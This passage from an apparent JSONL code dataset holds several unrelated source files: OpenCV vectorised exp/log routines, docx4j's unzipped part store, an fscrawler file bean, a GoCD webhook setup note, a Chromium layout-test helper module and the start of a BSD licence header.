xi)*exp_postscale;\n\n int t = (xi >> EXPTAB_SCALE) + 1023;\n t = !(t & ~2047) ? t : t < 0 ? 0 : 2047;\n buf.i = (int64)t << 52;\n\n y[i] = buf.f * expTab[xi & EXPTAB_MASK] * (((((A0*x0 + A1)*x0 + A2)*x0 + A3)*x0 + A4)*x0 + A5);\n }\n}\n\n#undef EXPTAB_SCALE\n#undef EXPTAB_MASK\n#undef EXPPOLY_32F_A0\n\n/////////////////////////////////////////// LOG ///////////////////////////////////////\n\n#define LOGTAB_SCALE 8\n#define LOGTAB_MASK ((1 << LOGTAB_SCALE) - 1)\n\n#define LOGTAB_TRANSLATE(tab, x, h) (((x) - 1.f)*tab[(h)+1])\nstatic const double ln_2 = 0.69314718055994530941723212145818;\n\nvoid log32f( const float *_x, float *y, int n )\n{\n CV_INSTRUMENT_REGION();\n\n const float* const logTab_f = cv::details::getLogTab32f();\n\n const int LOGTAB_MASK2_32F = (1 << (23 - LOGTAB_SCALE)) - 1;\n const float\n A0 = 0.3333333333333333333333333f,\n A1 = -0.5f,\n A2 = 1.f;\n\n int i = 0;\n const int* x = (const int*)_x;\n\n#if CV_SIMD\n const int VECSZ = v_float32::nlanes;\n const v_float32 vln2 = vx_setall_f32((float)ln_2);\n const v_float32 v1 = vx_setall_f32(1.f);\n const v_float32 vshift = vx_setall_f32(-1.f/512);\n\n const v_float32 vA0 = vx_setall_f32(A0);\n const v_float32 vA1 = vx_setall_f32(A1);\n const v_float32 vA2 = vx_setall_f32(A2);\n\n for( ; i < n; i += VECSZ )\n {\n if( i + VECSZ > n )\n {\n if( i == 0 || _x == y )\n break;\n i = n - VECSZ;\n }\n\n v_int32 h0 = vx_load(x + i);\n v_int32 yi0 = (v_shr<23>(h0) & vx_setall_s32(255)) - vx_setall_s32(127);\n v_int32 xi0 = (h0 & vx_setall_s32(LOGTAB_MASK2_32F)) | vx_setall_s32(127 << 23);\n\n h0 = v_shr<23 - LOGTAB_SCALE - 1>(h0) & vx_setall_s32(LOGTAB_MASK*2);\n v_float32 yf0, xf0;\n\n v_lut_deinterleave(logTab_f, h0, yf0, xf0);\n\n yf0 = v_fma(v_cvt_f32(yi0), vln2, yf0);\n\n v_float32 delta = v_select(v_reinterpret_as_f32(h0 == vx_setall_s32(510)), vshift, vx_setall(0));\n xf0 = v_fma((v_reinterpret_as_f32(xi0) - v1), xf0, delta);\n\n v_float32 zf0 = v_fma(xf0, vA0, vA1);\n zf0 = v_fma(zf0, xf0, vA2);\n zf0 = v_fma(zf0, xf0, yf0);\n\n v_store(y + i, zf0);\n }\n vx_cleanup();\n#endif\n\n for( ; i < n; i++ )\n {\n Cv32suf buf;\n int i0 = x[i];\n\n buf.i = (i0 & LOGTAB_MASK2_32F) | (127 << 23);\n int idx = (i0 >> (23 - LOGTAB_SCALE - 1)) & (LOGTAB_MASK*2);\n\n float y0 = (((i0 >> 23) & 0xff) - 127) * (float)ln_2 + logTab_f[idx];\n float x0 = (buf.f - 1.f)*logTab_f[idx + 1] + (idx == 510 ? -1.f/512 : 0.f);\n y[i] = ((A0*x0 + A1)*x0 + A2)*x0 + y0;\n }\n}\n\nvoid log64f( const double *x, double *y, int n )\n{\n CV_INSTRUMENT_REGION();\n\n const double* const logTab = cv::details::getLogTab64f();\n\n const int64 LOGTAB_MASK2_64F = ((int64)1 << (52 - LOGTAB_SCALE)) - 1;\n const double\n A7 = 1.0,\n A6 = -0.5,\n A5 = 0.333333333333333314829616256247390992939472198486328125,\n A4 = -0.25,\n A3 = 0.2,\n A2 = -0.1666666666666666574148081281236954964697360992431640625,\n A1 = 0.1428571428571428769682682968777953647077083587646484375,\n A0 = -0.125;\n\n int i = 0;\n\n#if CV_SIMD_64F\n const int VECSZ = v_float64::nlanes;\n const v_float64 vln2 = vx_setall_f64(ln_2);\n\n const v_float64\n vA0 = vx_setall_f64(A0), vA1 = vx_setall_f64(A1),\n vA2 = vx_setall_f64(A2), vA3 = vx_setall_f64(A3),\n vA4 = vx_setall_f64(A4), vA5 = vx_setall_f64(A5),\n vA6 = vx_setall_f64(A6), vA7 = vx_setall_f64(A7);\n\n for( ; i < n; i += VECSZ )\n {\n if( i + VECSZ > n )\n {\n if( i == 0 || x == y )\n break;\n i = n - VECSZ;\n }\n\n v_int64 h0 = vx_load((const int64*)x + i);\n v_int32 yi0 = v_pack(v_shr<52>(h0), vx_setzero_s64());\n yi0 = (yi0 & vx_setall_s32(0x7ff)) - vx_setall_s32(1023);\n\n v_int64 xi0 = (h0 & vx_setall_s64(LOGTAB_MASK2_64F)) | vx_setall_s64((int64)1023 << 52);\n h0 = v_shr<52 - LOGTAB_SCALE - 1>(h0);\n v_int32 idx = v_pack(h0, h0) & vx_setall_s32(LOGTAB_MASK*2);\n\n v_float64 xf0, yf0;\n v_lut_deinterleave(logTab, idx, yf0, xf0);\n\n yf0 = v_fma(v_cvt_f64(yi0), vln2, yf0);\n v_float64 delta = v_cvt_f64(idx == vx_setall_s32(510))*vx_setall_f64(1./512);\n xf0 = v_fma(v_reinterpret_as_f64(xi0) - vx_setall_f64(1.), xf0, delta);\n\n v_float64 xq = xf0*xf0;\n v_float64 zf0 = v_fma(xq, vA0, vA2);\n v_float64 zf1 = v_fma(xq, vA1, vA3);\n zf0 = v_fma(zf0, xq, vA4);\n zf1 = v_fma(zf1, xq, vA5);\n zf0 = v_fma(zf0, xq, vA6);\n zf1 = v_fma(zf1, xq, vA7);\n zf1 = v_fma(zf1, xf0, yf0);\n zf0 = v_fma(zf0, xq, zf1);\n\n v_store(y + i, zf0);\n }\n#endif\n\n for( ; i < n; i++ )\n {\n Cv64suf buf;\n int64 i0 = ((const int64*)x)[i];\n\n buf.i = (i0 & LOGTAB_MASK2_64F) | ((int64)1023 << 52);\n int idx = (int)(i0 >> (52 - LOGTAB_SCALE - 1)) & (LOGTAB_MASK*2);\n\n double y0 = (((int)(i0 >> 52) & 0x7ff) - 1023) * ln_2 + logTab[idx];\n double x0 = (buf.f - 1.)*logTab[idx + 1] + (idx == 510 ? -1./512 : 0.);\n\n double xq = x0*x0;\n y[i] = (((A0*xq + A2)*xq + A4)*xq + A6)*xq + (((A1*xq + A3)*xq + A5)*xq + A7)*x0 + y0;\n }\n}\n\n#endif // issue 7795\n\nfloat fastAtan2( float y, float x )\n{\n return atan_f32(y, x);\n}\n\n#endif // CV_CPU_OPTIMIZATION_DECLARATIONS_ONLY\n\nCV_CPU_OPTIMIZATION_NAMESPACE_END\n\n}} // namespace cv::hal\n"} +{"text": "/*\r\n * Copyright 2012, Plutext Pty Ltd.\r\n *\r\n * This file is part of docx4j.\r\n\r\n docx4j is licensed under the Apache License, Version 2.0 (the \"License\");\r\n you may not use this file except in compliance with the License.\r\n\r\n You may obtain a copy of the License at\r\n\r\n http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n Unless required by applicable law or agreed to in writing, software\r\n distributed under the License is distributed on an \"AS IS\" BASIS,\r\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n See the License for the specific language governing permissions and\r\n limitations under the License.\r\n\r\n */\r\npackage org.docx4j.openpackaging.io3.stores;\r\n\r\nimport java.io.File;\r\nimport java.io.FileInputStream;\r\nimport java.io.FileNotFoundException;\r\nimport java.io.FileOutputStream;\r\nimport java.io.InputStream;\r\nimport java.io.OutputStream;\r\n\r\nimport javax.xml.transform.dom.DOMSource;\r\nimport javax.xml.transform.stream.StreamResult;\r\n\r\nimport org.docx4j.XmlUtils;\r\nimport org.docx4j.openpackaging.contenttype.ContentTypeManager;\r\nimport org.docx4j.openpackaging.exceptions.Docx4JException;\r\nimport org.docx4j.openpackaging.exceptions.Docx4JRuntimeException;\r\nimport org.docx4j.openpackaging.io3.stores.ZipPartStore.ByteArray;\r\nimport org.docx4j.openpackaging.parts.CustomXmlDataStoragePart;\r\nimport org.docx4j.openpackaging.parts.JaxbXmlPart;\r\nimport org.docx4j.openpackaging.parts.Part;\r\nimport org.docx4j.openpackaging.parts.PartName;\r\nimport org.docx4j.openpackaging.parts.XmlPart;\r\nimport org.docx4j.openpackaging.parts.WordprocessingML.BinaryPart;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.w3c.dom.Document;\r\n\r\n/**\r\n * Load an unzipped package from the file system;\r\n * save it to some output stream.\r\n *\r\n * TODO convert path sep in part name to suit\r\n * underlying file system.\r\n *\r\n * @author jharrop\r\n * @since 3.0\r\n */\r\npublic class UnzippedPartStore implements PartStore {\r\n\r\n\tprivate static Logger log = LoggerFactory.getLogger(UnzippedPartStore.class);\r\n\r\n\r\n\tprivate File dir;\r\n\r\n\tpublic UnzippedPartStore(File dir) throws Docx4JException {\r\n\r\n\t\tthis.dir = dir;\r\n\r\n\t}\r\n\r\n\tprivate PartStore sourcePartStore;\r\n\r\n\t/**\r\n\t * Set this if its different to the target part store\r\n\t * (ie this object)\r\n\t */\r\n\tpublic void setSourcePartStore(PartStore partStore) {\r\n\t\tthis.sourcePartStore = partStore;\r\n\t}\r\n\r\n\t/////// Load methods\r\n\r\n//\tpublic boolean partExists(String partName) {\r\n//\r\n//\t\tString filePath = dir.getPath() + dir.separator + partName;\r\n//\r\n//\t\treturn (new File(filePath)).exists();\r\n//\r\n//\t}\r\n\r\n//\tpublic static byte[] getBytesFromInputStream(InputStream is)\r\n//\t\t\tthrows Exception {\r\n//\r\n//\t\t\tBufferedInputStream bufIn = new BufferedInputStream(is);\r\n//\t\t\tByteArrayOutputStream baos = new ByteArrayOutputStream();\r\n//\t\t\tBufferedOutputStream bos = new BufferedOutputStream(baos);\r\n//\t\t\tint c = bufIn.read();\r\n//\t\t\twhile (c != -1) {\r\n//\t\t\t\tbos.write(c);\r\n//\t\t\t\tc = bufIn.read();\r\n//\t\t\t}\r\n//\t\t\tbos.flush();\r\n//\t\t\tbaos.flush();\r\n//\t\t\t//bufIn.close(); //don't do that, since it closes the ZipInputStream after we've read an entry!\r\n//\t\t\tbos.close();\r\n//\t\t\treturn baos.toByteArray();\r\n//\t\t}\r\n\r\n\tpublic InputStream loadPart(String partName) throws Docx4JException {\r\n\r\n\t\tString filePath = dir.getPath() + dir.separator + partName;\r\n\r\n\t\tSystem.out.println(\"Using \" + filePath);\r\n\r\n\t\tInputStream is;\r\n\t\ttry {\r\n\t\t\tis = new FileInputStream(new File(filePath)); \r\n\t\t} catch (FileNotFoundException e) {\r\n\t\t\treturn null;\r\n//\t\t\tthrow new Docx4JException(e.getMessage(), e);\r\n\t\t}\r\n// if (is == null) throw new Docx4JException(\"part '\" + partName + \"' not found at \" + filePath );\r\n\t\treturn is;\r\n\t}\r\n\t\r\n\t@Override\r\n\tpublic long getPartSize(String partName) throws Docx4JException {\r\n\t\t\r\n\t\tString filePath = dir.getPath() + dir.separator + partName;\r\n\t\t\r\n\t\tFile f = new File(filePath);\r\n\t\tif (f.exists()) {\r\n\t\t\treturn f.length();\r\n\t\t} else {\r\n\t\t\treturn -1;\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * @param oldName\r\n\t * @param newName\r\n\t * @since 8.1.4\r\n\t */\r\n\tpublic void rename(PartName oldName, PartName newName) {\r\n\t\t\r\n\t\tlog.info(\"Renaming part \" + oldName.getName() + \" to \" + newName.getName() );\r\n\r\n\t\tString filePath = dir.getPath() + dir.separator + oldName.getName();\r\n\t\tFile f = new File(filePath); \r\n\t\tf.renameTo(new File(dir.getPath() + dir.separator + newName.getName()) );\r\n\t\t\r\n\t}\r\n\t\r\n\t///// Save methods\r\n\r\n\t/**\r\n\t * Does nothing\r\n\t */\r\n\tpublic void setOutputStream(OutputStream os) {\r\n\t\t// Nothing to do\r\n\t}\r\n\r\n\tpublic void saveContentTypes(ContentTypeManager ctm) throws Docx4JException {\r\n\r\n\t\ttry {\r\n\r\n\t\t\tString filePath = dir.getPath() + dir.separator + \"[Content_Types].xml\";\r\n\t\t\tFileOutputStream fos = new FileOutputStream(new File(filePath));\r\n\t ctm.marshal(fos);\r\n\t fos.close();\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new Docx4JException(\"Error marshalling Content_Types \", e);\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tpublic void saveJaxbXmlPart(JaxbXmlPart part) throws Docx4JException {\r\n\r\n\t\tString targetName;\r\n\t\tif (part.getPartName().getName().equals(\"_rels/.rels\")) {\r\n\t\t\ttargetName = part.getPartName().getName();\r\n\t\t} else {\r\n\t\t\ttargetName = part.getPartName().getName().substring(1);\r\n\t\t}\r\n\r\n\t\tString filePath = dir.getPath() + dir.separator + targetName;\r\n\t\tSystem.out.println(\"Saving \" + filePath);\r\n\t\ttry {\r\n\r\n\t\t\tFile file = new File(filePath);\r\n\t\t\tfile.getParentFile().mkdirs();\r\n\r\n\t\t\tif (part.isUnmarshalled() ) {\r\n\r\n\t\t\t\tFileOutputStream fos = new FileOutputStream(file);\r\n\t \tlog.debug(\"marshalling \" + part.getPartName() );\r\n\t \tpart.marshal( fos );\r\n\t\t fos.close();\r\n\r\n\t } else {\r\n\r\n\t \tif (!file.exists()\r\n\t \t\t\t&& this.sourcePartStore==null) {\r\n\t \t\tthrow new Docx4JException(\"part store has changed, and sourcePartStore not set\");\r\n\t \t} else {\r\n\t \t\tInputStream is = sourcePartStore.loadPart(part.getPartName().getName().substring(1));\r\n\t\t\t\t\tFileOutputStream fos = new FileOutputStream(file);\r\n\r\n\t \t\tint read = 0;\r\n\t \t\tbyte[] bytes = new byte[1024];\r\n\r\n\t \t\twhile ((read = is.read(bytes)) != -1) {\r\n\t \t\t\tfos.write(bytes, 0, read);\r\n\t \t\t}\r\n\r\n\t \t\tis.close();\r\n\t \t\tfos.flush();\r\n\t \t\tfos.close();\r\n\r\n\t \t}\r\n\r\n\t }\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new Docx4JException(\"Error marshalling JaxbXmlPart \" + part.getPartName(), e);\r\n\t\t}\r\n\t}\r\n\r\n\tpublic void saveCustomXmlDataStoragePart(CustomXmlDataStoragePart part) throws Docx4JException {\r\n\r\n\t\tString targetName = part.getPartName().getName().substring(1);\r\n\r\n\t\tString filePath = dir.getPath() + dir.separator + targetName;\r\n\r\n\t\tFile file = new File(filePath);\r\n\t\tfile.getParentFile().mkdirs();\r\n\r\n\t\ttry {\r\n\r\n\t\t\tFileOutputStream fos = new FileOutputStream(file);\r\n\t part.getData().writeDocument( fos );\r\n\t fos.close();\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new Docx4JException(\"Error marshalling CustomXmlDataStoragePart \" + part.getPartName(), e);\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tpublic void saveXmlPart(XmlPart part) throws Docx4JException {\r\n\r\n\t\tString targetName = part.getPartName().getName().substring(1);\r\n\r\n\t\tString filePath = dir.getPath() + dir.separator + targetName;\r\n\t\tFile file = new File(filePath);\r\n\t\tfile.getParentFile().mkdirs();\r\n\r\n\t\ttry {\r\n\r\n\t\t\tFileOutputStream fos = new FileOutputStream(file);\r\n\r\n\t\t Document doc = part.getDocument();\r\n\r\n\t\t\t/*\r\n\t\t\t * With Crimson, this gives:\r\n\t\t\t *\r\n\t\t\t\tException in thread \"main\" java.lang.AbstractMethodError: org.apache.crimson.tree.XmlDocument.getXmlStandalone()Z\r\n\t\t\t\t\tat com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.setDocumentInfo(DOM2TO.java:373)\r\n\t\t\t\t\tat com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(DOM2TO.java:127)\r\n\t\t\t\t\tat com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(DOM2TO.java:94)\r\n\t\t\t\t\tat com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transformIdentity(TransformerImpl.java:662)\r\n\t\t\t\t\tat com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:708)\r\n\t\t\t\t\tat com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:313)\r\n\t\t\t\t\tat org.docx4j.model.datastorage.CustomXmlDataStorageImpl.writeDocument(CustomXmlDataStorageImpl.java:174)\r\n\t\t\t *\r\n\t\t\t */\r\n\t\t\tDOMSource source = new DOMSource(doc);\r\n\t\t\t XmlUtils.getTransformerFactory().newTransformer().transform(source,\r\n\t\t\t\t\t new StreamResult(fos) );\r\n\r\n\t\t fos.close();\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new Docx4JException(\"Error marshalling XmlPart \" + part.getPartName(), e);\r\n\t\t}\r\n\t}\r\n\r\n\tpublic void saveBinaryPart(Part part) throws Docx4JException {\r\n\r\n\r\n\t\t// Drop the leading '/'\r\n\t\tString resolvedPartUri = part.getPartName().getName().substring(1);\r\n\t\tString filePath = dir.getPath() + dir.separator + resolvedPartUri;\r\n\t\tSystem.out.println(\"saveBinaryPart \" + filePath);\r\n\r\n\t\tFile file = new File(filePath);\r\n\t\tfile.getParentFile().mkdirs();\r\n\r\n\r\n\t\ttry {\r\n\t\t\tFileOutputStream fos;\r\n\r\n\t if (((BinaryPart)part).isLoaded() ) {\r\n\r\n\t \tfos = new FileOutputStream(file);\r\n\t\t fos.write( ((BinaryPart)part).getBytes() );\r\n\t\t\t fos.close();\r\n\r\n\t } else {\r\n\r\n\t \tif (file.exists() ) {\r\n\r\n\t\t \t// No need to save .. \r\n\t \t\t// either source = target,\r\n\t \t\t// or incrementally saved to target already\r\n\t \t\r\n\t \t} else if (this.sourcePartStore==null) {\r\n\r\n\t \t\tthrow new Docx4JException(\"part store has changed, and sourcePartStore not set\");\r\n\r\n\t \t} else {\r\n\r\n\t \t\tInputStream is = sourcePartStore.loadPart(part.getPartName().getName().substring(1));\r\n\t \t\tint read = 0;\r\n\t \t\tbyte[] bytes = new byte[1024];\r\n\r\n\t\t \tfos = new FileOutputStream(file);\r\n\r\n\t \t\twhile ((read = is.read(bytes)) != -1) {\r\n\t \t\t\tfos.write(bytes, 0, read);\r\n\t \t\t}\r\n\t \t\tis.close();\r\n\t \t}\r\n\t }\r\n\r\n\r\n\t\t} catch (Exception e ) {\r\n\t\t\tthrow new Docx4JException(\"Failed to put binary part\", e);\r\n\t\t}\r\n\r\n\t\tlog.info( \"success writing part: \" + resolvedPartUri);\r\n\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void finishSave() throws Docx4JException {\r\n\t\t// nothing to do\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void dispose() {\r\n\t\t// nothing to do\r\n\t}\r\n\r\n\r\n\r\n\r\n\r\n\r\n}\r\n"} +{"text": "/*\n * Licensed to David Pilato (the \"Author\") under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. Author licenses this\n * file to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage fr.pilato.elasticsearch.crawler.fs.beans;\n\nimport java.util.Date;\n\n/**\n * Represents File attributes\n */\npublic class File {\n\n /**\n * Generated json field names\n */\n static public final class FIELD_NAMES {\n public static final String EXTENSION = \"extension\";\n public static final String CONTENT_TYPE = \"content_type\";\n public static final String CREATED = \"created\";\n public static final String LAST_MODIFIED = \"last_modified\";\n public static final String LAST_ACCESSED = \"last_accessed\";\n public static final String INDEXING_DATE = \"indexing_date\";\n public static final String FILESIZE = \"filesize\";\n public static final String FILENAME = \"filename\";\n public static final String URL = \"url\";\n public static final String INDEXED_CHARS = \"indexed_chars\";\n public static final String CHECKSUM = \"checksum\";\n }\n\n private String extension;\n private String contentType;\n private Date created;\n private Date lastModified;\n private Date lastAccessed;\n private Date indexingDate;\n private Long filesize;\n private String filename;\n private String url;\n private Integer indexedChars;\n private String checksum;\n\n public String getExtension() {\n return extension;\n }\n\n public void setExtension(String extension) {\n this.extension = extension;\n }\n\n public String getContentType() {\n return contentType;\n }\n\n public void setContentType(String contentType) {\n this.contentType = contentType;\n }\n\n public Date getCreated() {\n return created;\n }\n\n public void setCreated(Date created) {\n this.created = created;\n }\n\n public Date getLastModified() {\n return lastModified;\n }\n\n public void setLastModified(Date lastModified) {\n this.lastModified = lastModified;\n }\n\n public Date getLastAccessed() {\n return lastAccessed;\n }\n\n public void setLastAccessed(Date lastAccessed) {\n this.lastAccessed = lastAccessed;\n }\n\n public Date getIndexingDate() {\n return indexingDate;\n }\n\n public void setIndexingDate(Date indexingDate) {\n this.indexingDate = indexingDate;\n }\n\n public Long getFilesize() {\n return filesize;\n }\n\n public void setFilesize(Long filesize) {\n this.filesize = filesize;\n }\n\n public String getFilename() {\n return filename;\n }\n\n public void setFilename(String filename) {\n this.filename = filename;\n }\n\n public String getUrl() {\n return url;\n }\n\n public void setUrl(String url) {\n this.url = url;\n }\n\n public Integer getIndexedChars() {\n return indexedChars;\n }\n\n public void setIndexedChars(Integer indexedChars) {\n this.indexedChars = indexedChars;\n }\n\n public void setChecksum(String checksum) {\n this.checksum = checksum;\n }\n\n public String getChecksum() {\n return checksum;\n }\n}\n"} +{"text": "You need to configure your GoCD server to send Webhook notifications with the GoCD Notification Plugin. Once the plugin is installed, do the following:\n\n1. Go to Admin --> Plugin\n2. Open the plugin settings\n3. Paste your webhook url\n4. Save your settings\n"} +{"text": "# Copyright (c) 2012 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Layout tests module that is necessary for the layout analyzer.\n\nLayout tests are stored in an SVN repository and LayoutTestCaseManager collects\nthese layout test cases (including description).\n\"\"\"\n\nimport copy\nimport csv\nimport locale\nimport re\nimport sys\nimport urllib2\n\nimport pysvn\n\n# LayoutTests SVN root location.\nDEFAULT_LAYOUTTEST_LOCATION = (\n 'http://src.chromium.org/blink/trunk/LayoutTests/')\n# LayoutTests SVN view link\nDEFAULT_LAYOUTTEST_SVN_VIEW_LOCATION = (\n 'http://src.chromium.org/viewvc/blink/trunk/LayoutTests/')\n\n\n# When parsing the test HTML file and finding the test description,\n# this script tries to find the test description using sentences\n# starting with these keywords. This is adhoc but it is the only way\n# since there is no standard for writing test description.\nKEYWORDS_FOR_TEST_DESCRIPTION = ['This test', 'Tests that', 'Test ']\n\n# If cannot find the keywords, this script tries to find test case\n# description by the following tags.\nTAGS_FOR_TEST_DESCRIPTION = ['title', 'p', 'div']\n\n# If cannot find the tags, this script tries to find the test case\n# description in the sentence containing following words.\nKEYWORD_FOR_TEST_DESCRIPTION_FAIL_SAFE = ['PASSED ', 'PASS:']\n\n\nclass LayoutTests(object):\n \"\"\"A class to store test names in layout tests.\n\n The test names (including regular expression patterns) are read from a CSV\n file and used for getting layout test names from repository.\n \"\"\"\n\n def __init__(self, layouttest_root_path=DEFAULT_LAYOUTTEST_LOCATION,\n parent_location_list=None, filter_names=None,\n recursion=False):\n \"\"\"Initialize LayoutTests using root and CSV file.\n\n Args:\n layouttest_root_path: A location string where layout tests are stored.\n parent_location_list: A list of parent directories that are needed for\n getting layout tests.\n filter_names: A list of test name patterns that are used for filtering\n test names (e.g., media/*.html).\n recursion: a boolean indicating whether the test names are sought\n recursively.\n \"\"\"\n\n if layouttest_root_path.startswith('http://'):\n name_map = self.GetLayoutTestNamesFromSVN(parent_location_list,\n layouttest_root_path,\n recursion)\n else:\n # TODO(imasaki): support other forms such as CSV for reading test names.\n pass\n self.name_map = copy.copy(name_map)\n if filter_names:\n # Filter names.\n for lt_name in name_map.iterkeys():\n match = False\n for filter_name in filter_names:\n if re.search(filter_name, lt_name):\n match = True\n break\n if not match:\n del self.name_map[lt_name]\n # We get description only for the filtered names.\n for lt_name in self.name_map.iterkeys():\n self.name_map[lt_name] = 'No description available'\n\n @staticmethod\n def ExtractTestDescription(txt):\n \"\"\"Extract the description description from test code in HTML.\n\n Currently, we have 4 rules described in the code below.\n (This example falls into rule 1):\n

    \n This tests the intrinsic size of a video element is the default\n 300,150 before metadata is loaded, and 0,0 after\n metadata is loaded for an audio-only file.\n

    \n The strategy is very adhoc since the original test case files\n (in HTML format) do not have standard way to store test description.\n\n Args:\n txt: A HTML text which may or may not contain test description.\n\n Returns:\n A string that contains test description. Returns 'UNKNOWN' if the\n test description is not found.\n \"\"\"\n # (1) Try to find test description that contains keywords such as\n # 'test that' and surrounded by p tag.\n # This is the most common case.\n for keyword in KEYWORDS_FOR_TEST_DESCRIPTION:\n # Try to find

    and

    .\n pattern = r'

    (.*' + keyword + '.*)

    '\n matches = re.search(pattern, txt)\n if matches is not None:\n return matches.group(1).strip()\n\n # (2) Try to find it by using more generic keywords such as 'PASS' etc.\n for keyword in KEYWORD_FOR_TEST_DESCRIPTION_FAIL_SAFE:\n # Try to find new lines.\n pattern = r'\\n(.*' + keyword + '.*)\\n'\n matches = re.search(pattern, txt)\n if matches is not None:\n # Remove 'p' tag.\n text = matches.group(1).strip()\n return text.replace('

    ', '').replace('

    ', '')\n\n # (3) Try to find it by using HTML tag such as title.\n for tag in TAGS_FOR_TEST_DESCRIPTION:\n pattern = r'<' + tag + '>(.*)'\n matches = re.search(pattern, txt)\n if matches is not None:\n return matches.group(1).strip()\n\n # (4) Try to find it by using test description and remove 'p' tag.\n for keyword in KEYWORDS_FOR_TEST_DESCRIPTION:\n # Try to find

    and

    .\n pattern = r'\\n(.*' + keyword + '.*)\\n'\n matches = re.search(pattern, txt)\n if matches is not None:\n # Remove 'p' tag.\n text = matches.group(1).strip()\n return text.replace('

    ', '').replace('

    ', '')\n\n # (5) cannot find test description using existing rules.\n return 'UNKNOWN'\n\n @staticmethod\n def GetLayoutTestNamesFromSVN(parent_location_list,\n layouttest_root_path, recursion):\n \"\"\"Get LayoutTest names from SVN.\n\n Args:\n parent_location_list: a list of locations of parent directories. This is\n used when getting layout tests using PySVN.list().\n layouttest_root_path: the root path of layout tests directory.\n recursion: a boolean indicating whether the test names are sought\n recursively.\n\n Returns:\n a map containing test names as keys for de-dupe.\n \"\"\"\n client = pysvn.Client()\n # Get directory structure in the repository SVN.\n name_map = {}\n for parent_location in parent_location_list:\n if parent_location.endswith('/'):\n full_path = layouttest_root_path + parent_location\n try:\n file_list = client.list(full_path, recurse=recursion)\n for file_name in file_list:\n if sys.stdout.isatty():\n default_encoding = sys.stdout.encoding\n else:\n default_encoding = locale.getpreferredencoding()\n file_name = file_name[0].repos_path.encode(default_encoding)\n # Remove the word '/truck/LayoutTests'.\n file_name = file_name.replace('/trunk/LayoutTests/', '')\n if file_name.endswith('.html'):\n name_map[file_name] = True\n except:\n print 'Unable to list tests in %s.' % full_path\n return name_map\n\n @staticmethod\n def GetLayoutTestNamesFromCSV(csv_file_path):\n \"\"\"Get layout test names from CSV file.\n\n Args:\n csv_file_path: the path for the CSV file containing test names (including\n regular expression patterns). The CSV file content has one column and\n each row contains a test name.\n\n Returns:\n a list of test names in string.\n \"\"\"\n file_object = file(csv_file_path, 'r')\n reader = csv.reader(file_object)\n names = [row[0] for row in reader]\n file_object.close()\n return names\n\n @staticmethod\n def GetParentDirectoryList(names):\n \"\"\"Get parent directory list from test names.\n\n Args:\n names: a list of test names. The test names also have path information as\n well (e.g., media/video-zoom.html).\n\n Returns:\n a list of parent directories for the given test names.\n \"\"\"\n pd_map = {}\n for name in names:\n p_dir = name[0:name.rfind('/') + 1]\n pd_map[p_dir] = True\n return list(pd_map.iterkeys())\n\n def JoinWithTestExpectation(self, test_expectations):\n \"\"\"Join layout tests with the test expectation file using test name as key.\n\n Args:\n test_expectations: a test expectations object.\n\n Returns:\n test_info_map contains test name as key and another map as value. The\n other map contains test description and the test expectation\n information which contains keyword (e.g., 'GPU') as key (we do\n not care about values). The map data structure is used since we\n have to look up these keywords several times.\n \"\"\"\n test_info_map = {}\n for (lt_name, desc) in self.name_map.items():\n test_info_map[lt_name] = {}\n test_info_map[lt_name]['desc'] = desc\n for (te_name, te_info) in (\n test_expectations.all_test_expectation_info.items()):\n if te_name == lt_name or (\n te_name in lt_name and te_name.endswith('/')):\n # Only keep the first match when found.\n test_info_map[lt_name]['te_info'] = te_info\n break\n return test_info_map\n"} +{"text": "/******************************************************************************\nCopyright (c) 2017, Alexander W Winkler. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n* Neither the name of the copyright holder nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 